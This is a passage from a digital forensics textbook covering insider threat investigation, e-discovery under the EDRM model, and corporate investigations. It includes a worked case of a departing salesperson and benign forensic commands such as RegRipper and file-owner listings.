User Behavior Analytics (UBA) systems, also called User and Entity Behavior Analytics (UEBA), are an advanced form of monitoring. These systems use machine learning to learn what is "normal" behavior for each user in the company. This normal pattern is called a *baseline*. They monitor information like when and where users log in, what systems they use, and how much data they access. When a user's activity is very different from their normal baseline, the UBA system creates an alert [27]. Common UBA alerts that are important for insider threat investigations include:

- Logging in from a new place, or a place that is geographically strange (e.g., a user from the UK suddenly logging in from Eastern Europe).
- Accessing a very secret system for the first time (e.g., a marketing employee accessing a folder with computer source code).
- A very large increase in the amount of data accessed (e.g., a salesperson downloading the entire customer database, when they normally only access a few dozen records per day).

20.3.3 Analyzing Data Loss Prevention Logs

Data Loss Prevention (DLP) systems are tools that use rules to protect secret data [75]. They check data in three states: when it is stored (*at-rest*), when it is being used on a computer (*in-use*), and when it is moving across the network (*in-motion*). DLP tools use rules to find and label secret information. They can do this by looking for keywords (e.g., "Project Titan"), patterns like credit card numbers (*regular expressions*), or special labels on the data.

When someone breaks a rule, the DLP system can send an alert or it can actively stop the action (e.g., stop an email from being sent or stop a file from being copied to a USB drive). For an investigator, a DLP alert is often the

first clear sign that someone is trying to steal data. The investigator must then understand the situation. Was the alert caused by a person with bad intentions, or did an employee make a mistake, like accidentally putting secret data in an email to a partner?

20.3.4 Scrutinizing Email & Cloud Service Logs

Email and cloud services (like Office 365 and Google Workspace) are common ways to steal data. This is because everyone uses them and they are easy to use. The activity logs from these services provide a lot of evidence. Investigators should look for:

- **Massive email forwarding rules:** An employee who is leaving the company might create a rule that secretly sends copies of all their new emails to a personal email address.
- **Anomalous sharing activity:** Suddenly sharing many files or whole folders from OneDrive, SharePoint, or Google Drive with outside, personal email accounts.
- **Suspicious inbox rules:** Creating rules that automatically move emails to hidden folders or delete them. Attackers often use these rules to hide important emails, such as confirmation messages from new cloud accounts.

20.4 Host-Based Evidence Analysis

Company-wide logs give a general overview of an insider's activity. However, a detailed analysis of the person's computer gives the specific, "ground truth" evidence. This evidence is needed to confirm what happened and to prove intent. To do this, an investigator must make an exact copy of the computer's storage, called a *forensic image*, and then study its data and files, known as *artifacts*.

20.4.1 Analyzing File System Artifacts

The *file system*, which organizes and stores files on a disk, tells a story about what the user did. You can think of it as a digital crime scene [31].

- **Staging Folders:** A manual check of the user's personal folders and common temporary locations (`%TEMP%`, `C:\Users\textbackslash<user>\textbackslashDownloads`, `C:\PerfLogs`) can show where data was collected before it was stolen.
- **LNK Files:** Windows automatically creates shortcut files (`.lnk`) when a user opens a file, folder, or program. Analyzing these LNK files shows which files the user opened recently, including files on network drives or USB drives, even if the original file was later deleted.

- **File Deletion:** Even if a user deletes a folder, evidence still exists. The `$Recycle.Bin` folder contains files that were deleted using the graphical interface. If files were "permanently" deleted, special techniques like *file carving* can search the empty parts of the disk (*unallocated space*) to recover parts of files or even complete files, such as a deleted ZIP archive.

20.4.2 Tracking Removable Device Usage

USB drives are a common tool for stealing data. The *Windows Registry* is the main place to find information about their use. The Registry is a database that stores settings and options for the Windows operating system [32].

- The part of the Registry called the `SYSTEM` hive has a special key named `USBSTOR`. This key works like a log. It records every unique USB storage device that has ever been connected to the computer. It records the device's brand, product model, and serial number. It also records the date and time it was first connected.
- The `NTUSER.DAT` hive is another part of the Registry. It can sometimes show which files and folders on a USB drive a user accessed.

Practical Demo: Analyze Registry Files, Tools like RegRipper can automatically analyze these complex Registry files. This command tells the RegRipper tool (`rip.exe`) to look at the `SYSTEM` hive file. It uses the `usbstor` plugin to create a simple report of all USB devices that have been connected.

```
rip.exe -r C:\ExtractedHives\SYSTEM -p usbstor
```

This command points the RegRipper tool (`rip.exe`) at the `SYSTEM` hive and runs the `usbstor` plugin, which outputs a clean report of device history.

20.4.3 Reconstructing Application & Web Activity

Knowing which programs a user ran and which websites they visited can be very important for proving they acted on purpose.

- **Application Execution:** System data like *Prefetch* (`.pf` files) and *Shimcache* (also known as Amcache) record which programs have been run on a computer. This can prove that a user ran a program to compress files (`7z.exe`), a program for encryption (`VeraCrypt.exe`), or a program to sync files with the cloud (`dropbox.exe`).
- **Web Browser History:** A detailed analysis of the browser's data files (e.g., Chrome's `History`, Firefox's `places.sqlite`) can show direct evidence of data theft, such as visits to webmail services, uploads to cloud storage sites, or use of text-pasting sites like Pastebin.
- **PowerShell History:** Skilled insiders might use *PowerShell*, a powerful command-line tool, to automate the collection and theft of data. The

history file (`ConsoleHost_history.txt`) can show the exact commands the user typed, such as `Copy-Item` to move files or `Compress-Archive` to prepare them for theft [98].

20.5 Evidence to Narrative

Single pieces of evidence, like a log entry or a file on the disk, are just data points. The real power of a forensic investigation is connecting these data points. This creates a clear, time-ordered story that explains what happened, when it happened, and why.

20.5.1 The Centrality of Timeline Analysis

Creating a detailed timeline of events in the order they happened is the best way to show intent. It is also the best way to explain the results to people who are not technical experts, like HR, lawyers, or a jury. A timeline changes a confusing collection of technical data into a clear story. It does this by connecting the data with known human events. It connects the digital evidence to real-world actions [33].

20.5.2 Establishing a Timeline of Events

Building a main timeline is a careful process of connecting and adding information.

(1) **Anchor Events:** Start with key human events that have exact, known times. These events are the ”anchors” for the timeline. Examples include the time an employee sent their resignation email, the time of a negative performance review, or the exact time their building access card was turned off.

(2) **Correlate Enterprise Logs:** Add logs from all relevant company systems (SIEM, DLP, proxy, VPN, file server). An important first step is to convert all times to one standard format, usually Coordinated Universal Time (UTC), to avoid confusion. Place these events on the timeline in relation to the anchor events.

(3) **Integrate Host Artifacts:** Get timestamps from the computer’s forensic image. This includes file system times (Modified, Accessed, Created), LNK file creation times, browser history times, times when Registry keys were last changed, and event log entries. Connect these with the company-wide data.

(4) **Enrich with Context:** Add notes to the timeline with non-technical information from HR and Legal. For example: ”9:30 AM: User informed by manager of job layoff (according to HR).” This information can turn a series of random-seeming actions into a logical story.

(5) **Review and Refine:** Look at the finished timeline for patterns. Check if these patterns match the stages of the Insider Threat Kill Chain. Does the evidence show information gathering, then collecting and preparing data, and then moving the data out? This logical series of steps is often the key to proving a deliberate act.

20.5.3 Proving Intent vs. Accident

The timeline is the best tool for answering the main question of the investigation: was the action malicious or an accident? When all events are shown in time order, the story often becomes very clear.

- **Indicators of Intent:** Imagine a timeline. It shows a user searching for secret data right after a bad performance review. Then, they compress the data, rename the file, upload it to a personal cloud account, and finally run a program to erase the evidence. This timeline shows clear malicious intent. Other strong signs of intent include using tools to hide evidence, deleting logs, encrypting data before moving it, and lying or avoiding answers when questioned.
- **Indicators of Accident:** A timeline that shows only one DLP alert for one email, with no other suspicious activity before or after, strongly suggests it was an accident. The absence of a logical, multi-stage kill chain is often as informative as its presence.

20.6 Case Study: The Departing Salesperson

Let's use these principles in a common, real-world situation.

Scenario Overview A successful salesperson, "Jane Doe," quits her job to work for a direct competitor. The company leaders are worried she is taking the company's client list and secret sales plans. This information is valuable *intellectual property* (company secrets). An insider threat investigation begins.

Step 1: Initial Triage and Scoping (Collaboration) The digital forensics investigator meets with people from HR and the Legal department.

- **HR confirms:** Jane's official last day is Friday. Her resignation email was sent Tuesday at 9:00 AM.
- **Legal confirms:** Jane's work contract clearly says that all client lists and sales documents belong only to the company. They give permission to make a forensic image of Jane's company laptop and to check her network activity logs.

Step 2: Enterprise-Level Analysis (Signs of Trouble) The investigator starts by searching company-wide logs for general signs of trouble.

- **DLP:** A high-priority DLP alert was triggered on Monday (the day before Jane's resignation) at 3:15 PM. The alert shows an email sent from Jane's corporate account to a personal Gmail address, with an attachment named `prospects.xlsx`.
- **SIEM/Proxy Logs:** A search for large outbound data transfers from Jane's IP address shows a 250MB upload to `dropbox.com` on Monday evening at 8:42 PM. This is very unusual; she normally uploads less than 5MB per day.

Step 3: Host-Based Analysis (Finding the Proof) Because there are clear signs of suspicious activity, the team makes a full forensic image of Jane's laptop and analyzes it.

- **Registry Analysis:** Using RegRipper on the `SYSTEM` hive, the investigator finds that a "SanDisk Ultra" USB 3.0 drive was connected to the laptop for the first time on Monday at 8:30 PM.
- **File System Analysis:** An examination of LNK files in her 'Recent Items' folder shows that she accessed two files on a network drive on Monday afternoon: `Q4_Sales_Strategy.pptx` and `Active_Client_List_MASTER.csv`.
- **Application Execution:** Analysis of Prefetch files shows that `7z.exe`, the 7-Zip file compression program, was run multiple times on Monday. Next, a file carving search of the empty disk space finds a deleted file named `For Me.zip`. Although parts of the file are damaged, the file header is complete.

Step 4: Building the Narrative (Timeline Synthesis) The investigator combines all the evidence into a master timeline, converting all times to UTC for consistency.

- **Monday, 15:15 UTC:** DLP alert is triggered for email to `jane.doe@gmail.com` with attachment `prospects.xlsx`.
- **Monday, 16:00 UTC:** LNK files show access to network drives containing master client list and sales strategy documents.
- **Monday, 16:30 UTC:** Prefetch data shows `7z.exe` was run, which is consistent with creating a compressed archive file.
- **Monday, 20:30 UTC:** Registry shows first-time connection of a SanDisk USB drive.
- **Monday, 20:42 UTC:** Proxy logs show a 250MB upload to Dropbox from Jane's computer.
- **Tuesday, 09:00 UTC:** HR receives Jane's resignation email.

Conclusion of the Case The story is now clear. It is supported by evidence from several different sources. The timeline shows a logical and intentional series of actions that matches the Insider Threat Kill Chain: information gathering (accessing network files), preparing data (compressing files into a ZIP archive), and moving data out (emailing a file, using a USB drive, and uploading to cloud storage). The combination of company-wide logs and computer evidence changes the case from a simple suspicion to a fact that can be proven. This gives the company the evidence it needs to take legal action against Jane Doe and inform her new employer.

Conclusion

In this chapter, we learned how to investigate insider threats by finding evidence on company networks and on individual computers. We also learned how to use the Insider Threat Kill Chain model to understand an insider's actions. An investigator must use these skills to build a timeline of events. This timeline helps prove if an employee acted to cause harm or made a mistake, which allows the company to protect its valuable information. In the next chapter, we will learn how to write a professional forensic report to present these findings to managers and lawyers.

Acronyms and Terminology

Active Directory (AD) A Microsoft technology used by organizations to manage users, computers, and other resources on a network. In an investigation, its logs can show what a user tried to access.

Anti-Forensic Tools Software designed to hide or destroy digital evidence. Examples include programs that securely delete files (e.g., BleachBit, SDelete) to prevent their recovery.

Artifacts Digital evidence; the individual pieces of data found on a computer or network that indicate user activity. Examples include files, log entries, and browser history records.

Baseline In the context of user behavior, this is the normal, established pattern of activity for a specific person or system, learned over time by monitoring systems.

Coordinated Universal Time (UTC) A global time standard used in investigations to ensure all evidence from different systems is recorded in a single, consistent timezone, avoiding confusion.

Data Loss Prevention (DLP) A set of tools and processes used to ensure that sensitive data is not lost, misused, or accessed by unauthorized users. DLP systems can alert investigators or block suspicious data transfers.

Digital Evidence Any information of value to an investigation that is stored or transmitted in a digital format, such as emails, documents, system logs, and browser history.

Encryption A method of converting data into a secret code to prevent unauthorized access. The data can only be read by someone who has the correct key.

Exfiltration The unauthorized transfer of data from a computer or network. This is the technical term for data theft.

File Carving A forensic technique used to recover files or parts of files from the unallocated space of a storage device after they have been deleted.

File System The system that an operating system uses to control how data is stored and retrieved on a disk. Its structure and metadata are a rich source of evidence.

Firewall A network security system that monitors and controls incoming and outgoing network traffic based on predetermined security rules, acting as a barrier between a trusted internal network and an untrusted external network.

Forensic Image A bit-for-bit, exact copy of a storage device (like a hard drive or USB stick). It allows an investigator to analyze the data without altering the original evidence.

Host-Based Evidence Digital evidence collected directly from a single computer (the "host"), such as files, registry entries, and application data, as opposed to network-level evidence.

Human Resources (HR) The department responsible for managing employees. In an investigation, HR provides context about a suspect, such as performance issues, conflicts, or resignation dates.

Insider Any person who has, or had, authorized access to an organization's network, data, or premises and uses that access to cause harm, whether intentionally or unintentionally.

Insider Threat A security risk to an organization that comes from its own employees, contractors, or other internal personnel who have legitimate access to its systems.

Insider Threat Kill Chain A model that breaks down the actions of a malicious insider into a sequence of stages (e.g., Trigger, Reconnaissance, Staging, Exfiltration), helping investigators understand the attack and find evidence.

Intellectual Property (IP) A company's valuable, non-physical creations, such as trade secrets, client lists, source code, designs, and strategic plans. It is often the target of data theft.

Intent The state of mind of a person when performing an action. A key goal of an investigation is to determine if an action was malicious (intentional) or accidental.

Kill Chain A cybersecurity model that outlines the stages of an attack. Understanding the stages helps defenders and investigators predict an adversary's actions and find evidence.

Legal Department The team of lawyers who provide legal advice to an organization. In an investigation, they ensure the process is lawful, respects privacy, and determines when to involve law enforcement.

LNK Files Shortcut files automatically created by Windows when a user opens a file or folder. They are a valuable artifact for tracking what a user has accessed, even from removable drives.

MICE Model An acronym (Money, Ideology, Coercion, Ego) used in counterespionage and insider threat investigations to categorize the four primary motivations behind a malicious insider's actions.

Metadata Data that provides information about other data. For example, a file's metadata includes its creation date, last modification time, and author.

National Security Agency (NSA) A national-level intelligence agency of the United States Department of Defense, mentioned as an example in the context of an insider motivated by ideology.

Obfuscation The act of deliberately making something unclear or difficult to understand. In an investigation, it refers to an insider's attempts to hide their actions, such as by renaming files or encrypting stolen data.

Phishing A type of social engineering attack where an attacker sends a fraudulent message, usually an email, designed to trick a person into revealing sensitive information or deploying malicious software.

PowerShell A powerful command-line shell and scripting language built into Windows. It can be used by skilled insiders to automate data theft, and its history files can provide direct evidence of their commands.

Prefetch A Windows feature that creates files (`.pf`) to help speed up application loading. For investigators, these files serve as a log of which applications have been executed on a system.

Proxy A server that acts as an intermediary for requests from clients seeking resources from other servers. Proxy logs are crucial for seeing what websites a user visited and what data they uploaded or downloaded.

Reconnaissance The first stage of an attack, where the attacker gathers information about the target. For an insider, this involves using their existing access to locate valuable data or systems.

Regular Expressions (regex) A sequence of characters that specifies a search pattern. DLP systems use regex to identify sensitive data formats, such as credit card numbers or social security numbers.

Security Information and Event Management (SIEM) A system that collects, correlates, and analyzes security-related log data from across an entire organization's network, providing a centralized view for investigators.

Shimcache (Amcache) A component of the Windows operating system that stores data about application compatibility. Like Prefetch, its data can be used as evidence of program execution.

Social Engineering The psychological manipulation of people into performing actions or divulging confidential information. Phishing is a common example.

Staging The process where an insider collects data from various locations and gathers it into a single, temporary location before exfiltrating (stealing) it.

Steganography The practice of concealing a file, message, image, or video within another file. It is an advanced technique used to hide and exfiltrate data.

Triggering Event An event that motivates an insider to take action, such as being fired, receiving a poor performance review, or having a personal grievance.

Unallocated Space The area of a hard drive that the operating system marks as available for use. This space can contain remnants of deleted files, which may be recoverable through techniques like file carving.

User and Entity Behavior Analytics (UBA/UEBA) Advanced security systems that use machine learning to model normal behavior for users and systems (a "baseline") and then flag unusual activities that may indicate a threat.

Virtual Private Network (VPN) A technology that creates a secure, encrypted connection over a less secure network, such as the public internet. VPN logs can show when and from where a remote user connected to the company network.

Vulnerability A weakness in a system, process, or control that can be exploited by a threat actor to cause harm.

Windows Registry A hierarchical database that stores low-level settings for the Microsoft Windows operating system and for applications. It is a critical source of evidence for user activity and device history.

Chapter 21

E-Discovery and Corporate Investigations

Introduction

In a company, almost all important information is digital. This digital evidence, called Electronically Stored Information (ESI), is essential for legal cases and internal investigations. This chapter teaches you the formal process for handling this evidence, known as e-discovery. We will look at the standard industry model (EDRM), review important legal rules, and show how to use these skills to investigate common problems like employee misconduct and data theft.

21.1 The E-Discovery Imperative

The move from paper documents to digital information has completely changed legal cases and how companies follow rules. In the past, people reviewed documents in physical file cabinets. Now, it is a complex technical task that involves huge amounts of data located in many different and temporary digital places.

21.1.1 Defining Electronically Stored Information

Electronically Stored Information (ESI) is a legal term with a wide meaning. It includes any data that is created, saved, or changed in a digital format. The definition of ESI grows as technology changes. It includes much more than just office documents and emails. Examples include:

- **Communications:** Emails and their attachments, instant messages, voicemails, text messages (SMS/MMS), and data from work platforms like Slack or Microsoft Teams.
- **Documents:** Word processing files, spreadsheets, presentations, PDFs, and design files (e.g., CAD).

- **Databases:** Organized data from accounting systems, customer relationship management (CRM) platforms, and human resources (HR) databases.
- **Media:** Digital photographs, video recordings, and audio files.
- **System Information:** Log files, browser histories, *metadata* (which is data about data, like the creation date of a file), and information from mobile devices and cloud storage accounts.
- **Emerging Data:** Messages that disappear after being read (e.g., from Snapchat), social media posts, and data from Internet of Things (IoT) devices.

Understanding the wide range of ESI helps us understand the large scale of modern e-discovery.

21.1.2 E-Discovery vs. Digital Forensics

E-discovery and digital forensics both analyze digital data, but their goals, size, and methods are different. You can think of e-discovery as a process that gathers a large amount of information to find everything that might be relevant. In contrast, digital forensics is a more focused process that looks for proof of a specific event.

Scope & Goal: The main goal of e-discovery is to respond to a legal request. It does this by finding, collecting, filtering, and producing all information that is *relevant* to a legal case. The scope is often very large and can involve hundreds of people and terabytes of data. The goal of digital forensics, on the other hand, is usually narrow. It aims to find proof of a *specific event or action*, like confirming that data was stolen or recovering a deleted file to prove someone's intent.

Process: E-discovery is a workflow. Its goal is to reduce very large amounts of data to a smaller, more manageable size for lawyers to review. It uses methods like removing duplicate files, searching for keywords, and using software to help with the review. Digital forensics uses a deep, analytical process. It examines system details, file information, empty disk space, and network records to reconstruct what happened and when.

Stakeholders: E-discovery mainly helps corporate legal departments, external lawyers, and courts during civil lawsuits. Digital forensics often helps police in criminal cases or internal teams that are responding to security problems or violations of company policy.

21.1.3 The Legal & Regulatory Landscape

The need to perform e-discovery is not just a good idea; it is required by law. In the United States, the **Federal Rules of Civil Procedure (FRCP)** control

the process in federal courts. These rules have also been a model for rules in many states [74]. A key idea in the FRCP is **proportionality**. Proportionality means that the effort and cost of finding evidence should match the importance of the case. This rule stops one side from making huge, expensive requests just to create problems for the other side.

Also, international and state-level privacy rules have a big effect on e-discovery, especially for cases that cross country borders. Rules like the European Union's **General Data Protection Regulation (GDPR)** and the **California Consumer Privacy Act (CCPA)** [192] have strict controls on how personal data is collected, used, and moved. This requires careful legal and technical work during investigations.

Real-World Story: The Zubulake Precedent, Any discussion about e-discovery must include the important case of *Zubulake v. UBS Warburg*. In this lawsuit about unfair dismissal, the plaintiff, Laura Zubulake, claimed that the defendant, UBS, had deleted important emails that supported her case. The court's decisions, made by Judge Shira Scheindlin, created basic principles for e-discovery. The most important principle was clarifying the **duty to preserve ESI**. The judge stated that this duty begins when a company can reasonably expect a lawsuit. The court also ordered UBS to pay large fines for **spoliation**. Spoliation is the act of destroying or changing evidence, either on purpose or by accident. This decision showed that there are serious punishments for failing to save ESI. The *Zubulake* case warned all companies that e-discovery rules are serious and that they cannot claim to be unaware of them.

21.2 The Electronic Discovery Reference Model

To manage the complex e-discovery process, the industry often uses the Electronic Discovery Reference Model (EDRM). The EDRM provides a standard structure. It shows the different stages of a typical e-discovery project from beginning to end [64]. The model is not a strict, one-way process. Teams may need to return to earlier stages when they find new information.

The model's stages go from left to right. It starts with managing data before any problems arise and ends with presenting evidence. We will look at the most important stages for a forensic investigator.

21.2.1 Information Governance & Identification

Information Governance (IG)

Information Governance (IG) is the first, proactive stage. "Proactive" means dealing with issues before they become problems. This stage involves the main strategy for how a company manages its information. The goal is to meet legal, risk, and business requirements. Key parts of IG include creating and following data retention policies (rules that say how long to keep data), making data maps

(documents that show where different types of data are stored), and using data security controls. Good IG makes the later stages of the EDRM much easier and more legally defensible.

Identification

When a company expects a lawsuit, the identification stage starts. This stage involves finding all possible sources of relevant ESI. Investigators and legal teams work together to answer important questions: Who are the key people involved (called custodians)? What data sources did they use? Where is this data stored? The main activities in this stage are interviewing custodians, studying IT system diagrams, and using the company's data maps.

Identification

When a company expects a lawsuit, the identification stage starts. This stage involves finding all possible sources of relevant ESI. Investigators and legal teams work together to answer important questions: Who are the key people involved (called custodians)? What data sources did they use? Where is this data stored? The main activities in this stage are interviewing custodians, studying IT system diagrams, and using the company's data maps.

Practical Demo: Identify Unique Owners,

Listing 21.1: Using GNU `find` / `stat`.

```
# List owners of files and show unique owner names (requires permission to read metadata)
# GNU find: prints the file owner (%u) then sort unique
find /srv/projects/Project_Alpha -type f -printf '%u\n' 2>/dev/null | sort -u

# If your find doesn't support -printf (e.g., BSD/macOS), use stat:
find /srv/projects/Project_Alpha -type f -exec stat -c '%U' {} \; 2>/dev/null | sort -u
```

Listing 21.2: Using PowerShell.

```
# Get-Acl returns the ACL object; .Owner is the owner string.
# This works in Windows PowerShell and in PowerShell Core (pwsh) on Linux/macOS.
Get-Acl -Path "C:\Projects\Project_Alpha\*" | ForEach-Object { $_.Owner } | Sort-Object -Unique

# To include subdirectories recursively:
Get-ChildItem -Path "C:\Projects\Project_Alpha" -Recurse -Force |
  ForEach-Object { (Get-Acl -Path $_.FullName).Owner } |
  Sort-Object -Unique
```

Notes.

- Both methods require sufficient privileges to read file metadata; run as root/administrator when necessary to get a complete view.
- On some systems owners may appear as numeric UIDs; map them to usernames via `/etc/passwd` (Linux) or use user account tools on Windows.

- PowerShell Core (`pwsh`) is cross-platform — if installed on Linux/macOS the same PowerShell commands will work there as well.

21.2.2 Preservation & Collection

The Duty to Preserve and Legal Holds

The duty to preserve evidence begins as soon as a company can reasonably expect a lawsuit. To meet this duty, a company must issue a **Legal Hold** (or Litigation Hold). A Legal Hold is a formal, written order. It tells the relevant custodians to stop their normal data destruction routines for all ESI that might be relevant to the case. The forensic investigator is very important here. They help the legal team find all data sources that must be preserved (like laptops, mobile devices, cloud storage, and email archives). The investigator also ensures the preservation is done correctly from a technical standpoint. If a company fails to do this, it can be accused of **spoliation**. This can lead to serious punishments from the court, such as large fines or a negative instruction to the jury (where the judge tells the jury to assume the lost evidence was bad for the company that lost it).

Forensically Sound Collection

Collection is the process of gathering the identified ESI for use in the e-discovery process. It is very important to collect this data in a *forensically sound* way. This means the data is collected without changing it, and every step of the process is carefully documented.

- **Targeted vs. Full Imaging:** In many criminal cases, investigators make a full copy of a hard drive, called a physical image. However, e-discovery often uses a **targeted collection** because of the proportionality rule. Instead of copying a custodian's entire 1TB hard drive, an investigator might collect only specific folders (like 'Documents' and 'Desktop') and the user's email file. This reduces the amount of irrelevant data collected and lowers later costs.
- **Active vs. Static Collection:** Collection can happen on a system that is running (**active**) or on a device that is turned off (**static**). Active collections are common for servers or cloud platforms because turning them off is not practical.
- **Challenging Sources:** Collecting from modern IT systems requires special tools and skills. This includes getting data from cloud platforms like Microsoft 365 and Google Workspace, work chat tools like Slack and Teams, and encrypted mobile devices. A simple "copy and paste" is not legally defensible. You must use proven tools that save metadata and create a record of who handled the evidence, known as a chain of custody [12].

Algorithmic Breakdown: Targeted ESI Collection from a Custodian's Laptop The following steps describe a defensible, targeted collection process:

(1) Get clear, written permission from the legal department. This permission must name the custodian and state exactly what data to collect.

(2) Prepare a clean external hard drive with enough storage space. Connect this drive to the custodian's laptop using a hardware *write-blocker*. A write-blocker is a device that prevents any changes to the original device.

(3) Start a validated forensic collection tool (e.g., Magnet Acquire, FTK Imager, EnCase).

(4) Set up the tool to create a logical forensic container (e.g., an L01, E01, or Ad1 file). This container will store the collected data and its related metadata.

(5) Choose the specific data sources to collect, as defined by the legal team (e.g., '`C:\Users\<username>\Documents`', Outlook '.PST' or '.OST' files).

(6) Start the collection. Set up the tool to create *cryptographic hashes* (like MD5 and SHA-256) for every file it collects. A hash is a unique digital fingerprint created from the data.

(7) When finished, check the hashes of the files inside the forensic container against the original files. This confirms that the data has not been changed and that a perfect copy was made.

(8) Fill out a Chain of Custody form. This form documents the entire process: date, time, custodian name, investigator name, tools used (with version numbers), collection settings, and the hash values that were created.

21.2.3 Processing, Review, and Analysis

Processing ESI

After collection, raw ESI must be processed before it can be searched and reviewed effectively. Key processing steps include:

- **Extraction:** Opening compressed files like ZIPs or RARs and taking out individual messages and attachments from email files like PSTs or MBOX files.
- **Indexing:** Creating a full-text index of all data. This allows for very fast keyword searching.
- **De-duplication:** Finding and removing exact duplicate files using hash values. This greatly reduces the amount of data that needs to be reviewed.

- **Advanced Techniques:** Modern platforms also perform **Near-Duplicate Identification** (grouping documents that are similar but not identical) and **Email Threading** (organizing emails into conversations). These techniques make the review process much faster and easier.

Technology-Assisted Review (TAR)

For cases with millions of documents, it is impossible for people to review every single one. **Technology-Assisted Review (TAR)**, also called predictive coding, helps with this problem. TAR uses machine learning to "train" a computer system based on decisions made by humans [92]. The process usually works like this:

(1) A senior lawyer or expert on the case reviews a small "seed set" of documents. They mark each one as "relevant" or "not relevant."

(2) The TAR software analyzes these decisions. It learns the language and metadata patterns that are connected to relevant documents.

(3) The system then uses what it learned to check the entire collection of documents. It ranks and sorts all documents based on how likely they are to be relevant.

(4) This helps the legal team review the most important documents first. This method saves a lot of time and money.

Analysis

The analysis stage involves studying the ESI to understand its content, context, patterns, key topics, and key people. Here, forensic analysis methods can be combined with legal review strategies. For example, an investigator might create a timeline of conversations between key custodians. Or they might analyze file metadata to find out who created certain documents. This provides valuable information that helps the legal team build its case.

21.2.4 Production & Presentation

Producing ESI

Production is the formal delivery of ESI to the other party in a lawsuit. Only information that is relevant and not private is produced. This process follows legal agreements and court rules. ESI can be produced in different formats, such as its **native format** (the original file, like an XLS spreadsheet) or as **TIFF images** with separate text and metadata files. A very important step before production is **redaction**. Redaction is the process of hiding private information (like conversations with a lawyer) or sensitive data from documents.

Presentation in Court

Finally, the ESI is shown as evidence in legal meetings, hearings, or at a trial. The forensic investigator who collected the data might be asked to be an expert witness. They would testify in court about the collection method, the chain of custody, and the integrity of the data. This helps prove that the evidence is valid and can be used in court.

21.3 Internal Corporate Investigations

E-discovery is usually part of a lawsuit started by an outside party. However, the same forensic principles are used for many kinds of internal corporate investigations. These are often sensitive situations that require privacy, speed, and technical accuracy.

21.3.1 Establishing Authority and Scope

An internal investigation should never start without clear, written permission from the correct authority, such as the company's legal department, Human Resources, or a top executive. This permission must define the scope of the investigation:

- What is the main question or accusation being investigated?
- Who are the people being investigated?
- Which systems, devices, and data sources are approved for collection and analysis?

An investigator's right to access employee data usually comes from company policies. These include the Acceptable Use Policy (AUP) or the employee handbook. Employees agree to these policies when they are hired. These policies usually state that employees should not expect privacy when using company equipment.

21.3.2 Employee Misconduct & HR Investigations

A common type of internal investigation is related to HR complaints and policy violations.

Common Scenarios: These include accusations of harassment, bullying, viewing or sharing inappropriate content, time theft (for example, proving an employee was not working during paid hours), and other violations of the company's rules.

Key Evidence Sources: The investigation often focuses on company email and chat records (for example, searching for keywords related to the complaint), web browsing history (to find if an employee spent too much time

on non-work websites or visited inappropriate sites), and file access records to see if a user looked at secret files they were not allowed to see.

Practical Demo: Extract URLs from a User's Registry,

Listing 21.3: Using RegRipper to extract typed URLs from a user's registry hive.

```
# RegRipper is a tool for rapid analysis of Windows Registry hives.
# This command points the tool at a collected NTUSER.DAT file
# and runs the 'typedurls' plugin to list all URLs the user
# manually typed into the Internet Explorer/Edge address bar.
# The output provides direct evidence of user intent.

rip.exe -r C:\case_files\NTUSER.DAT -p typedurls
```

This command can quickly show which websites a user visited on purpose. This can be strong evidence in a case about a policy violation.

21.3.3 Intellectual Property Theft & Data Exfiltration

One of the most serious company investigations deals with possible *intellectual property (IP) theft*. IP is valuable, non-physical property like inventions or secret formulas. This type of theft often happens when an employee is leaving the company to work for a competitor.

Indicators of Exfiltration: An investigator looks for digital clues that show someone tried to steal company data. These clues include:

- Connecting unauthorized USB storage devices in the days before leaving the company.
- Uploading large amounts of data to personal cloud storage services (like Dropbox, Google Drive, or OneDrive).
- Sending emails with secret attachments to personal email addresses (e.g., 'user@gmail.com').
- Installing or using software that deletes files permanently (like CCleaner or BleachBit) or other anti-forensic tools.

Investigative Workflow: A common workflow is to first understand the user's normal data activity. Then, the investigator creates a "super-timeline" of all digital activity around the dates when the theft may have occurred. This involves connecting evidence from many sources: USB device connection history (from the 'SYSTEM' registry file), browser history ('NTUSER.DAT'), file access records (from the NTFS Master File Table '$MFT'), and records from email servers and network firewalls.

Real-World Story: Waymo v. Uber, A famous example of digital forensics in an IP theft case is *Waymo v. Uber* [111]. Waymo (Google's self-driving

car project) sued Uber after a top engineer, Anthony Levandowski, quit. He then started his own self-driving truck company, which Uber quickly bought. Waymo claimed that before he quit, Levandowski downloaded over 14,000 secret files about LiDAR technology. The case depended heavily on forensic analysis of server logs. These logs recorded the huge download to a personal device. This evidence was the most important part of Waymo's claim that its trade secrets were stolen.

21.3.4 Financial & Insider Fraud Investigations

Digital forensics is a great help to forensic accounting when investigating financial crime.

Types of Fraud: These investigations can uncover crimes like faking expense reports, payroll fraud, secret payments from vendors, and insider trading.

Forensic Collaboration: The job of digital forensics is to find digital proof that supports or disproves the ideas of the forensic accountants. This often means recovering deleted financial records, checking spreadsheets for signs of changes (like hidden rows, columns, or cells), and finding communications (emails, chats) that show a plan or intention to commit fraud.

Key Evidence Sources: Analysis focuses on records from accounting software (like QuickBooks or SAP), spreadsheets, and all types of electronic communication.

Algorithmic Breakdown: Investigating Potential Expense Fraud The following workflow shows how digital forensics can be used to investigate suspicious expense reports:

(1) Gather all expense reports submitted by the person for the time period being investigated.

(2) Collect digital copies of all submitted receipts (e.g., PDFs, JPGs, PNGs).

(3) Analyze the file system and EXIF metadata of the receipt files. EXIF metadata is information stored inside an image file. Look for 'Creation Dates', 'Modification Dates', and 'Author' names that do not match the dates of the expenses or seem to have been changed.

(4) For suspicious receipt images, do a reverse image search (for example, with Google Images). This can show if the image was copied from the internet (e.g., a standard photo of a restaurant receipt).

(5) Forensically check the person's computer for "template" receipt files or for software used to edit PDFs and images (e.g., Adobe Photoshop, Acrobat Pro). This could be a sign that receipts were faked.

(6) Compare the dates and times on the expense reports with company credit card bills, building entry records, and travel records to find any differences.

(7) Report any strange findings to the forensic accounting and legal teams for more action. For example, report if multiple expense reports use receipts with the exact same file metadata, or if you find evidence of image editing.

Conclusion

In this chapter, we covered the main steps of the e-discovery process and how to apply forensic methods in corporate investigations. An investigator uses these skills to legally collect and analyze digital information, which is critical for solving internal problems and supporting legal cases. In the next chapter, we will build on this foundation by examining the specific evidence that operating systems and applications leave behind.

Acronyms and Terminology

AUP (Acceptable Use Policy) A set of rules a company creates to define how its network, websites, and computer systems may be used. Employees typically agree to this policy, which often states there is no expectation of privacy on company equipment.

CCPA (California Consumer Privacy Act) A state law in California that gives consumers more control over the personal information that businesses collect about them. It impacts how data is handled during investigations.

